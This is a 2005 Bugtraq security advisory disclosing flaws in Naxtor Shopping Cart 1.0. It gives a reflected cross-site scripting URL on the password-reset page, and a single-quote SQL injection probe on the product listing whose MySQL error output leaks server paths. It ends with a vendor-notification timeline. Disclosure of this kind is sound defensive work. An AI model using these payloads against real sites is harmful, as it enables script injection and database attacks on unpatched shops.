From: "John Cobb" <johnc@nobytes.com.>
To: <bugtraq@securityfocus.com.>
Subject: [NOBYTES.COM: #8] Naxtor Shopping Cart 1.0 - Information Disclosure & Possible SQL Injection
Date: Tue, 2 Aug 2005 19:53:52 +0100
Message-ID: <!~!UENERkVCMDkAAQACAAAAAAAAAAAAAAAAABgAAAAAAAAAW9awBalVl02jSH2wQZK2tsKAAAAQAAAAjABweeUCjUCoPyp+dA5R0QEAAAAA@nobytes.com>
MIME-Version: 1.0
Content-Type: text/plain;
charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Mailer: Microsoft Office Outlook, Build 11.0.5510
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441
Thread-Index: AcWXk4a5tow/C5pTTJSfn7xfrjQv/A==
X-Virus-Scanned: antivirus-gw at tyumen.ru
Hello All,
I have discovered a couple of remote vulnerabilities in: Naxtor Shopping
Cart 1.0
Authors Site: http://www.naxtor.com.au/
Naxtor is described by its authors as:
Naxtor Shopping Cart is one stop solution for companies' interested in
selling merchandise online.
+-[Examples:]--------------------------------------------------+
[1]------------------------------------------------------------+
XSS:
http://www.victim.com/lost_passowrd.php?&email=<script>var%20xss=31337;alert
(xss);</script>&reset=reset
[2]------------------------------------------------------------+
Information Disclosure & Possible SQL Injection:
http://www.victim.com/shop_display_products.php?cat_id='
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result
resource in /var/www/html/navigation.php on line 13
Warning: mysql_numrows(): supplied argument is not a valid MySQL result
resource in /var/www/html/shop_display_products.php on line 180
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result
resource in /var/www/html/shop_display_products.php on line 181
+-[Notes:]-----------------------------------------------------+
Vulnerabilities found on: 15/06/2005
Author(s) Informed on: 16/06/2005
Author(s) Response: NONE
Author(s) Fix: NONE
Regards
John Cobb
[email protected]
http://www.NoBytes.com
